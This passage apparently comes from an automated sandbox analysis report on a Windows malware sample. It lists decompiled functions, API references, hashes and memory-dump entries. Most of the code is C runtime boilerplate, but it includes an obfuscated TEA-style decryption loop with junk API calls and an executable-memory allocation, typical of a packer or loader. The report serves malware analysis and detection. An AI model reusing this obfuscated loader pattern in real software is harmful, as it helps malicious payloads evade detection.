					_t27 = _t13 / _t17 - _a8;
					if(_t13 / _t17 >= _a8) {
						goto L3;
					} else {
						 *((intOrPtr*)(E0040317C(_t27))) = 0xc;
						return 0;
					}
				}
				L15:
			}

0x004033c4
0x004033c9
0x004033e6
0x004033eb
0x004033ed
0x004033ef
0x004033f1
0x004033f1
0x004033f1
0x00000000
0x004033f9
0x00403402
0x00403408
0x0040340a
0x00000000
0x00000000
0x0040343e
0x00403440
0x00000000
0x0040340c
0x0040340c
0x00403413
0x00403431
0x00403434
0x00403436
0x00403438
0x00403438
0x00403415
0x00403416
0x0040341c
0x0040341e
0x004033f2
0x004033f2
0x004033f4
0x004033f7
0x00000000
0x00000000
0x00000000
0x00000000
0x00403420
0x00403420
0x00403423
0x00403425
0x00403427
0x00403427
0x0040342d
0x0040342d
0x0040341e
0x00000000
0x004033cb
0x004033cf
0x004033d2
0x004033d5
0x00000000
0x004033d7
0x004033dc
0x004033e5
0x004033e5
0x004033d5
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,00000929,00000000,?,00402248,?,00000929,00000000,00000000,?,?,00401752,000000EA,00000929), ref: 00403402

Part of subcall function 0040317C: __getptd_noexit.LIBCMT ref: 0040317C

Memory Dump Source

Source File: 00000000.00000002.303622917.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303619087.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303641098.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303645895.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303879059.0000000002B5A000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: a1246fcc9212eb72bd66eb6f962511741a3f48b87744e5ef47cca504d46d7be9
Instruction ID: a279a2f95cc10dfabb517f83193280821c939ba03ed982e1ce61921d61d080e9
Opcode Fuzzy Hash: a1246fcc9212eb72bd66eb6f962511741a3f48b87744e5ef47cca504d46d7be9
Instruction Fuzzy Hash: 7501B1363012519BEB359F26DC94B6B3F9CAF91362F41853AAC15EF6D0CB78C941C648

Uniqueness

Uniqueness Score: -1.00%

Function 004048DF, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,00408821,00420818,00000314,00000000,?,?,?,?,?,004051AF,00420818,Microsoft Visual C++ Runtime Library,00012010), ref: 004048E1

Memory Dump Source

Source File: 00000000.00000002.303622917.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303619087.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303641098.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303645895.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303879059.0000000002B5A000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: d59d103de181ab9a46d5b0032e770cc8b1d2b68b318807e2a3b3d518dbedce29
Instruction ID: b070d1bc8327655241aac34cbbe35a197840452c84baafc658322f1204baa9e7
Opcode Fuzzy Hash: d59d103de181ab9a46d5b0032e770cc8b1d2b68b318807e2a3b3d518dbedce29
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00401700, Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401700() {
				void* _t1;

				_t1 = VirtualAlloc(0,  *0x2b54004, 0x1000, 0x40); // executed
				 *0x2b53af4 = _t1;
				return _t1;
			}

0x0040170f
0x00401715
0x0040171a

APIs

VirtualAlloc.KERNELBASE(00000000,00001000,00000040), ref: 0040170F

Memory Dump Source

Source File: 00000000.00000002.303622917.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303619087.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303641098.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303645895.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303879059.0000000002B5A000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 74ce6c5e79286d057aa1fdd6877c28a82a3b13ee28abd50de938d73dcd5bac85
Instruction ID: 5ccdf2b2fb7b5526e14e03f9d000058466b8e1d025cd959003ca301539e830ec
Opcode Fuzzy Hash: 74ce6c5e79286d057aa1fdd6877c28a82a3b13ee28abd50de938d73dcd5bac85
Instruction Fuzzy Hash: 3CB092B8AC1350AAE6524FA0AD16F843A60A748BC2F500450F3186E2D4C6F51060AA0C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00406436, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00406436(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x41f5a0; // 0x78ab7199
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x421098 = _t6;
				 *0x421094 = _t22;
				 *0x421090 = _t25;
				 *0x42108c = _t21;
				 *0x421088 = _t27;
				 *0x421084 = _t26;
				 *0x4210b0 = ss;
				 *0x4210a4 = cs;
				 *0x421080 = ds;
				 *0x42107c = es;
				 *0x421078 = fs;
				 *0x421074 = gs;
				asm("pushfd");
				_pop( *0x4210a8);
				 *0x42109c =  *_t31;
				 *0x4210a0 = _v0;
				 *0x4210ac =  &_a4;
				 *0x420fe8 = 0x10001;
				 *0x420f9c =  *0x4210a0;
				 *0x420f90 = 0xc0000409;
				 *0x420f94 = 1;
				_t12 =  *0x41f5a0; // 0x78ab7199
				_v812 = _t12;
				_t13 =  *0x41f5a4; // 0x87548e66
				_v808 = _t13;
				 *0x420fe0 = IsDebuggerPresent();
				_push(1);
				E0040642E(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x417bd4);
				if( *0x420fe0 == 0) {
					_push(1);
					E0040642E(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00406436
0x00406436
0x00406436
0x00406436
0x00406436
0x00406436
0x00406436
0x0040643c
0x0040643e
0x0040643e
0x00408f66
0x00408f6b
0x00408f71
0x00408f77
0x00408f7d
0x00408f83
0x00408f89
0x00408f90
0x00408f97
0x00408f9e
0x00408fa5
0x00408fac
0x00408fb3
0x00408fb4
0x00408fbd
0x00408fc5
0x00408fcd
0x00408fd8
0x00408fe7
0x00408fec
0x00408ff6
0x00409000
0x00409005
0x0040900b
0x00409010
0x0040901c
0x00409021
0x00409023
0x0040902b
0x00409036
0x00409043
0x00409045
0x00409047
0x0040904c
0x00409060

APIs

IsDebuggerPresent.KERNEL32 ref: 00409016
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040902B
UnhandledExceptionFilter.KERNEL32(00417BD4), ref: 00409036
GetCurrentProcess.KERNEL32(C0000409), ref: 00409052
TerminateProcess.KERNEL32(00000000), ref: 00409059

Memory Dump Source

Source File: 00000000.00000002.303622917.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303619087.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303641098.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303645895.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303879059.0000000002B5A000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 55f306175f1fbb08d906c846f6700945832089c5284c1eede6c2a02e2eaef268
Instruction ID: 87dc77c79e5e482c2a6365400b2d74fed25905dd691ea9cb57ee20f8c4dea753
Opcode Fuzzy Hash: 55f306175f1fbb08d906c846f6700945832089c5284c1eede6c2a02e2eaef268
Instruction Fuzzy Hash: C321F378A00248DFD720DF64EA45A883BE0BB28344F91403AE60CD7A71E7B45986CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040529C, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040529C() {

				SetUnhandledExceptionFilter(E0040525A);
				return 0;
			}

0x004052a1
0x004052a9

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000525A), ref: 004052A1

Memory Dump Source

Source File: 00000000.00000002.303622917.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303619087.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303641098.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303645895.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303879059.0000000002B5A000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 2a62f160739d43f247406f810fd0ede08eecf6e6e96f2aba573e467ac3a00640
Instruction ID: b22738cd7261a225cf17ca84a4f35f8da1876eb8333554c91ee69d98615e0995
Opcode Fuzzy Hash: 2a62f160739d43f247406f810fd0ede08eecf6e6e96f2aba573e467ac3a00640
Instruction Fuzzy Hash: 5C900260661900C6CA0027B0DC0A68A6A90AECD70375185B56109E4098DB7440006D69

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD8, Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109
libraryloadermemoryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00404BD8(void* __ebx) {
				void* __edi;
				void* __esi;
				_Unknown_base(*)()* _t7;
				long _t10;
				void* _t11;
				int _t12;
				void* _t14;
				void* _t15;
				void* _t16;
				void* _t18;
				intOrPtr _t21;
				long _t26;
				void* _t30;
				struct HINSTANCE__* _t35;
				intOrPtr* _t36;
				void* _t39;
				intOrPtr* _t41;
				void* _t42;

				_t30 = __ebx;
				_t35 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t35 != 0) {
					 *0x420804 = GetProcAddress(_t35, "FlsAlloc");
					 *0x420808 = GetProcAddress(_t35, "FlsGetValue");
					 *0x42080c = GetProcAddress(_t35, "FlsSetValue");
					_t7 = GetProcAddress(_t35, "FlsFree");
					__eflags =  *0x420804;
					_t39 = TlsSetValue;
					 *0x420810 = _t7;
					if( *0x420804 == 0) {
						L6:
						 *0x420808 = TlsGetValue;
						 *0x420804 = E004048E8;
						 *0x42080c = _t39;
						 *0x420810 = TlsFree;
					} else {
						__eflags =  *0x420808;
						if( *0x420808 == 0) {
							goto L6;
						} else {
							__eflags =  *0x42080c;
							if( *0x42080c == 0) {
								goto L6;
							} else {
								__eflags = _t7;
								if(_t7 == 0) {
									goto L6;
								}
							}
						}
					}
					_t10 = TlsAlloc();
					 *0x41f574 = _t10;
					__eflags = _t10 - 0xffffffff;
					if(_t10 == 0xffffffff) {
						L15:
						_t11 = 0;
						__eflags = 0;
					} else {
						_t12 = TlsSetValue(_t10,  *0x420808);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L15;
						} else {
							E004025E6();
							_t41 = __imp__EncodePointer;
							_t14 =  *_t41( *0x420804);
							 *0x420804 = _t14;
							_t15 =  *_t41( *0x420808);
							 *0x420808 = _t15;
							_t16 =  *_t41( *0x42080c);
							 *0x42080c = _t16;
							 *0x420810 =  *_t41( *0x420810);
							_t18 = E0040448E();
							__eflags = _t18;
							if(_t18 == 0) {
								L14:
								E00404925();
								goto L15;
							} else {
								_t36 = __imp__DecodePointer;
								_t21 =  *((intOrPtr*)( *_t36()))( *0x420804, E00404AA9);
								 *0x41f570 = _t21;
								__eflags = _t21 - 0xffffffff;
								if(_t21 == 0xffffffff) {
									goto L14;
								} else {
									_t42 = E00405919(1, 0x214);
									__eflags = _t42;
									if(_t42 == 0) {
										goto L14;
									} else {
										__eflags =  *((intOrPtr*)( *_t36()))( *0x42080c,  *0x41f570, _t42);
										if(__eflags == 0) {
											goto L14;
										} else {
											_push(0);
											_push(_t42);
											E00404962(_t30, _t36, _t42, __eflags);
											_t26 = GetCurrentThreadId();
											 *(_t42 + 4) =  *(_t42 + 4) | 0xffffffff;
											 *_t42 = _t26;
											_t11 = 1;
										}
									}
								}
							}
						}
					}
					return _t11;
				} else {
					E00404925();
					return 0;
				}
			}

0x00404bd8
0x00404be6
0x00404bea
0x00404c0a
0x00404c17
0x00404c24
0x00404c29
0x00404c2b
0x00404c32
0x00404c38
0x00404c3d
0x00404c55
0x00404c5a
0x00404c64
0x00404c6e
0x00404c74
0x00404c3f
0x00404c3f
0x00404c46
0x00000000
0x00404c48
0x00404c48
0x00404c4f
0x00000000
0x00404c51
0x00404c51
0x00404c53
0x00000000
0x00000000
0x00404c53
0x00404c4f
0x00404c46
0x00404c79
0x00404c7f
0x00404c84
0x00404c87
0x00404d4e
0x00404d4e
0x00404d4e
0x00404c8d
0x00404c94
0x00404c96
0x00404c98
0x00000000
0x00404c9e
0x00404c9e
0x00404ca9
0x00404caf
0x00404cb7
0x00404cbc
0x00404cc4
0x00404cc9
0x00404cd1
0x00404cd8
0x00404cdd
0x00404ce2
0x00404ce4
0x00404d49
0x00404d49
0x00000000
0x00404ce6
0x00404ce6
0x00404cf9
0x00404cfb
0x00404d00
0x00404d03
0x00000000
0x00404d05
0x00404d11
0x00404d15
0x00404d17
0x00000000
0x00404d19
0x00404d2a
0x00404d2c
0x00000000
0x00404d2e
0x00404d2e
0x00404d30
0x00404d31
0x00404d38
0x00404d3e
0x00404d42
0x00404d46
0x00404d46
0x00404d2c
0x00404d17
0x00404d03
0x00404ce4
0x00404c98
0x00404d52
0x00404bec
0x00404bec
0x00404bf4
0x00404bf4

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,0040292F), ref: 00404BE0
__mtterm.LIBCMT ref: 00404BEC

Part of subcall function 00404925: DecodePointer.KERNEL32(00000005,00404D4E,?,0040292F), ref: 00404936
Part of subcall function 00404925: TlsFree.KERNEL32(00000004,00404D4E,?,0040292F), ref: 00404950

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00404C02
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00404C0F
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00404C1C
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00404C29
TlsAlloc.KERNEL32(?,0040292F), ref: 00404C79
TlsSetValue.KERNEL32(00000000,?,0040292F), ref: 00404C94
__init_pointers.LIBCMT ref: 00404C9E
EncodePointer.KERNEL32(?,0040292F), ref: 00404CAF
EncodePointer.KERNEL32(?,0040292F), ref: 00404CBC
EncodePointer.KERNEL32(?,0040292F), ref: 00404CC9
EncodePointer.KERNEL32(?,0040292F), ref: 00404CD6
DecodePointer.KERNEL32(00404AA9,?,0040292F), ref: 00404CF7
__calloc_crt.LIBCMT ref: 00404D0C
DecodePointer.KERNEL32(00000000,?,0040292F), ref: 00404D26
__initptd.LIBCMT ref: 00404D31
GetCurrentThreadId.KERNEL32 ref: 00404D38

Strings

KERNEL32.DLL, xrefs: 00404BDB
FlsSetValue, xrefs: 00404C11
FlsGetValue, xrefs: 00404C04
FlsFree, xrefs: 00404C1E
FlsAlloc, xrefs: 00404BFC

Memory Dump Source

Source File: 00000000.00000002.303622917.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303619087.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303641098.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303645895.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303879059.0000000002B5A000.00000002.00020000.sdmp Download File

Similarity

API ID: Pointer$AddressEncodeProc$Decode$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3732613303-3819984048
Opcode ID: b0df84fd645206aa8cb673a9752544a64f7d2f6f94d4e127ce78d8b48295a697
Instruction ID: 27c3c41b1ce12daa174e0f75682e69eacf30d322cf550a627af997ad39189040
Opcode Fuzzy Hash: b0df84fd645206aa8cb673a9752544a64f7d2f6f94d4e127ce78d8b48295a697
Instruction Fuzzy Hash: 6C315FB5A00610EBC7207F75AC0568B3EE6EBC4360B54853BE614A72E1DB7884428FEC

Uniqueness

Uniqueness Score: -1.00%

Function 00401009, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

FreeUserPhysicalPages.KERNEL32(00000000,00000000,00000000,?,?,00000055), ref: 00401036
WriteConsoleInputA.KERNEL32(00000000,00000000,00000000,?,?,?,00000055), ref: 004010E5
GetConsoleAliasesA.KERNEL32(?,00000000,00000000,?,?,00000055), ref: 004010F4
GetLongPathNameA.KERNEL32 ref: 00401107

Strings

Pexiyisotat pahowiyahabixi, xrefs: 00401102
, xrefs: 00401075

Memory Dump Source

Source File: 00000000.00000002.303622917.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303619087.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303641098.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303645895.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303879059.0000000002B5A000.00000002.00020000.sdmp Download File

Similarity

API ID: Console$AliasesFreeInputLongNamePagesPathPhysicalUserWrite
String ID: $Pexiyisotat pahowiyahabixi
API String ID: 3629391545-869393649
Opcode ID: 72ca1e4e2411854d9622717136c2e810d0d2b10ef1f204d1912d1e2b5bbff2af
Instruction ID: 33702c019150fda16585d545df3d2f640de7ecfd3f616c1d57e48e2f443feee5
Opcode Fuzzy Hash: 72ca1e4e2411854d9622717136c2e810d0d2b10ef1f204d1912d1e2b5bbff2af
Instruction Fuzzy Hash: 21411DB5E00218EFDB10CFA5D984ADEBBF4FB98354F10806AE515A7351D7349A41CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040100E, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040100E(unsigned int* _a4) {
				char _v8;
				unsigned int _v12;
				signed int _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				long _v48;
				char _v1072;
				char _v2096;
				unsigned int* _t40;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t46;
				void* _t49;
				unsigned int _t54;
				unsigned int* _t60;
				intOrPtr _t75;
				unsigned int _t79;

				_t40 = _a4;
				_t79 =  *_t40;
				_v12 = _t40[1];
				if( *0x2b54004 == 0xee) {
					__imp__FreeUserPhysicalPages(0, 0, 0);
				}
				_t42 =  *0x420200; // 0x1e8b0dfe
				_v28 = _t42;
				_t43 =  *0x420204; // 0xf5a818eb
				_v44 = _t43;
				_v8 = 0;
				_v32 = 0x9e3779b9;
				E00401007( &_v8);
				_t45 =  *0x420208; // 0xcd227d0f
				_v8 = _v8 + 0xe0;
				_v36 = _t45;
				_t46 =  *0x42020c; // 0xefd27e80
				_v40 = _t46;
				_v20 = 0x20;
				do {
					_v16 = 2;
					_v16 = _v16 + 3;
					_t75 =  *0x2b54004;
					_t49 = (_t79 << 4) + _v36;
					if(_t75 == 0xfa9) {
						 *0x2b54000 = 0xedeb2e40;
					}
					if(_t75 == 0x3eb) {
						 *0x42174c = 0;
					}
					 *0x2b53ffc = 0x9150ce2e;
					_v24 = E00401000(_t49, _v8 + _t79) ^ (_t79 >> _v16) + _v40;
					if(_t75 == 0x27) {
						WriteConsoleInputA(0, 0, 0,  &_v48);
						__imp__GetConsoleAliasesA( &_v1072, 0, 0);
						__imp__GetLongPathNameA("Pexiyisotat pahowiyahabixi",  &_v2096, 0);
					}
					_v12 = _v12 - _v24;
					_t54 = _v12;
					 *0x421748 = 0;
					_t79 = _t79 - (E00401000((_t54 << 4) + _v28, _v8 + _t54) ^ (_t54 >> 0x00000005) + _v44);
					_v8 = _v8 - _v32;
					_t35 =  &_v20;
					 *_t35 = _v20 - 1;
				} while ( *_t35 != 0);
				_t60 = _a4;
				 *_t60 = _t79;
				_t60[1] = _v12;
				return _t60;
			}

0x00401017
0x0040101c
0x0040102e
0x00401031
0x00401036
0x00401036
0x0040103c
0x00401041
0x00401044
0x00401049
0x0040104f
0x00401052
0x00401059
0x0040105e
0x00401063
0x0040106a
0x0040106d
0x00401072
0x00401075
0x0040107c
0x0040107c
0x00401083
0x00401087
0x00401092
0x0040109b
0x0040109d
0x0040109d
0x004010ad
0x004010af
0x004010af
0x004010bb
0x004010d6
0x004010dc
0x004010e5
0x004010f4
0x00401107
0x00401107
0x00401110
0x00401118
0x0040112f
0x0040113c
0x00401141
0x00401144
0x00401144
0x00401144
0x0040114d
0x00401154
0x00401157
0x0040115c

APIs

FreeUserPhysicalPages.KERNEL32(00000000,00000000,00000000,?,?,00000055), ref: 00401036
WriteConsoleInputA.KERNEL32(00000000,00000000,00000000,?,?,?,00000055), ref: 004010E5
GetConsoleAliasesA.KERNEL32(?,00000000,00000000,?,?,00000055), ref: 004010F4
GetLongPathNameA.KERNEL32 ref: 00401107

Strings

Pexiyisotat pahowiyahabixi, xrefs: 00401102
, xrefs: 00401075

Memory Dump Source

Source File: 00000000.00000002.303622917.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303619087.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303641098.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303645895.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303879059.0000000002B5A000.00000002.00020000.sdmp Download File

Similarity

API ID: Console$AliasesFreeInputLongNamePagesPathPhysicalUserWrite
String ID: $Pexiyisotat pahowiyahabixi
API String ID: 3629391545-869393649
Opcode ID: bc1db1ebd765bcc99c0d831c67e1bc3c49c5f8f6517d169a036000445e9ce007
Instruction ID: cb1f2d3f9a0e4b2866789c7d5d11f54a31b5ca9e8fa17a771cdd56190388f82b
Opcode Fuzzy Hash: bc1db1ebd765bcc99c0d831c67e1bc3c49c5f8f6517d169a036000445e9ce007
Instruction Fuzzy Hash: F4410CB5E00218EFDB10CFA5D984AEEBBF4FB98354F10806AE505A7351D7349A81CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00406845, Relevance: 9.0, APIs: 6, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00406845(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x41d778);
				E004031D0(__ebx, __edi, __esi);
				_t31 = E00404A8F(__ebx, __edx, _t35);
				_t15 =  *0x41fad0; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E00404608(_t25, _t31, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x41f9d8; // 0x2cf15f8
					if(__eflags != 0) {
						__eflags = _t33;
						if(__eflags != 0) {
							__eflags = InterlockedDecrement(_t33);
							if(__eflags == 0) {
								__eflags = _t33 - 0x41f5b0;
								if(__eflags != 0) {
									E004042C3(_t33);
								}
							}
						}
						_t21 =  *0x41f9d8; // 0x2cf15f8
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x41f9d8; // 0x2cf15f8
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E004068E0();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				_t38 = _t33;
				if(_t33 == 0) {
					_push(0x20);
					E0040285E(_t29, _t38);
				}
				return E00403215(_t33);
			}

0x00406845
0x00406845
0x00406845
0x00406845
0x00406847
0x0040684c
0x00406856
0x00406858
0x00406860
0x00406881
0x00406887
0x0040688b
0x0040688e
0x00406891
0x00406897
0x00406899
0x0040689b
0x004068a4
0x004068a6
0x004068a8
0x004068ae
0x004068b1
0x004068b6
0x004068ae
0x004068a6
0x004068b7
0x004068bc
0x004068bf
0x004068c5
0x004068c9
0x004068c9
0x004068cf
0x004068d6
0x00406868
0x00406868
0x00406868
0x0040686b
0x0040686d
0x0040686f
0x00406871
0x00406876
0x0040687e

APIs

__getptd.LIBCMT ref: 00406851

Part of subcall function 00404A8F: __getptd_noexit.LIBCMT ref: 00404A92
Part of subcall function 00404A8F: __amsg_exit.LIBCMT ref: 00404A9F

__amsg_exit.LIBCMT ref: 00406871
__lock.LIBCMT ref: 00406881
InterlockedDecrement.KERNEL32(?), ref: 0040689E
_free.LIBCMT ref: 004068B1
InterlockedIncrement.KERNEL32(02CF15F8), ref: 004068C9

Memory Dump Source

Source File: 00000000.00000002.303622917.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303619087.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303641098.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303645895.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303879059.0000000002B5A000.00000002.00020000.sdmp Download File

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 525576eccc5c1b3ead996a1e02c480e4a252d1aaa35a295e08af08be9951beeb
Instruction ID: 9a621b5bead8679437ed1607c42275ec8c7c890d6f9ebe7281d8076912258413
Opcode Fuzzy Hash: 525576eccc5c1b3ead996a1e02c480e4a252d1aaa35a295e08af08be9951beeb
Instruction Fuzzy Hash: 7601A172A42611ABD710BB66840579A7764AF44724F12C13BE819772D1C73CA961CBCD

Uniqueness

Uniqueness Score: -1.00%

Function 00408CC4, Relevance: 7.6, APIs: 5, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00408CC4(void* __edx, void* __edi, void* __esi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t27;
				long _t30;

				if(_a4 != 0) {
					_push(__esi);
					_t30 = _a8;
					__eflags = _t30;
					if(_t30 != 0) {
						_push(__edi);
						while(1) {
							__eflags = _t30 - 0xffffffe0;
							if(_t30 > 0xffffffe0) {
								break;
							}
							__eflags = _t30;
							if(_t30 == 0) {
								_t30 = _t30 + 1;
								__eflags = _t30;
							}
							_t7 = HeapReAlloc( *0x420f48, 0, _a4, _t30);
							_t27 = _t7;
							__eflags = _t27;
							if(_t27 != 0) {
								L17:
								_t8 = _t27;
							} else {
								__eflags =  *0x420f50 - _t7;
								if(__eflags == 0) {
									_t9 = E0040317C(__eflags);
									 *_t9 = E0040313A(GetLastError());
									goto L17;
								} else {
									__eflags = E004048B7(_t7, _t30);
									if(__eflags == 0) {
										_t12 = E0040317C(__eflags);
										 *_t12 = E0040313A(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E004048B7(_t6, _t30);
						 *((intOrPtr*)(E0040317C(__eflags))) = 0xc;
						goto L12;
					} else {
						E004042C3(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E00408C30(__edx, __edi, __esi, _a8);
				}
			}

0x00408ccd
0x00408cda
0x00408cdb
0x00408cde
0x00408ce0
0x00408cef
0x00408d22
0x00408d22
0x00408d25
0x00000000
0x00000000
0x00408cf2
0x00408cf4
0x00408cf6
0x00408cf6
0x00408cf6
0x00408d03
0x00408d09
0x00408d0b
0x00408d0d
0x00408d6d
0x00408d6d
0x00408d0f
0x00408d0f
0x00408d15
0x00408d57
0x00408d6b
0x00000000
0x00408d17
0x00408d1e
0x00408d20
0x00408d3f
0x00408d53
0x00408d39
0x00408d39
0x00408d39
0x00000000
0x00000000
0x00000000
0x00408d20
0x00408d15
0x00000000
0x00408d3b
0x00408d28
0x00408d33
0x00000000
0x00408ce2
0x00408ce5
0x00408ceb
0x00408ceb
0x00408d3c
